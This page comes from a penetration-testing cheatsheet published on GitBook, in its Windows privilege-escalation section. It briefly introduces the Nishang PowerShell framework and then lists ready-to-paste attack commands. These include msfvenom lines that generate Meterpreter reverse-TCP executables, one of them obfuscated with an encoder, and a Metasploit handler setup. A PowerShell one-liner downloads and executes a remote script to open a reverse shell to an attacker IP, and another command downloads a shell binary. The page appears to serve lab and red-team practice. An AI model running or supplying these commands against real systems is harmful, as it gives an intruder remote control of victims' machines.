✒️
Pentesting Cheatsheet
  • Introduction
  • Basics
  • Information Gathering | OSINT
  • Penetration Testing
    • Scanning and Enumeration
    • HTTP and HTTPS
    • SMB | Windows Domain Enumeration
    • NFS
    • SMTP
    • Reverse Shells
    • Buffer Overflow | Buf Exploitation
    • Linux Privilege Escalation
    • Miscellaneous
    • Redis
  • Active Directory
    • AD Extras
    • Attack Vectors
    • Post Compromise Enumeration
    • Post Compromise Attacks
  • Pivoting
  • Windows Privesc
    • Window Tools/Resources
    • Meterpreter Privesc
    • Powershell Scripting
  • Vulnhub/ PG/ THM/ HTB
  • Apache Log4j
  • Linux Forensics Cheatsheet
Powered by GitBook
On this page

Was this helpful?

  1. Windows Privesc

Window Tools/Resources

PreviousWindows PrivescNextMeterpreter Privesc

Last updated 2 years ago

Was this helpful?

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

Powershell Reverse Shells

Quick Commands

// Basic Meterpreter Windows Shell
msfvenom -p windows/meterpreter/reverse_tcp -a x86 LHOST=10.17.30.151 LPORT=1234 -f exe -o shell.exe
// Encoder Meterpreter Windows Shell
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.17.30.151 LPORT=1234 -f exe -o shell.exe
//Setting up Handler
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run


// Invoke PowerShell ReverseShell 
powershell iex (New-Object Net.WebClient).DownloadString('http://10.17.30.151/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.17.30.151 -Port 4444
// Powershell download file
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.17.30.151:8000/shell-name.exe','shell-name.exe')"
GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.GitHub
nishang/Invoke-PowerShellTcp.ps1 at master · samratashok/nishangGitHub
Logo
Logo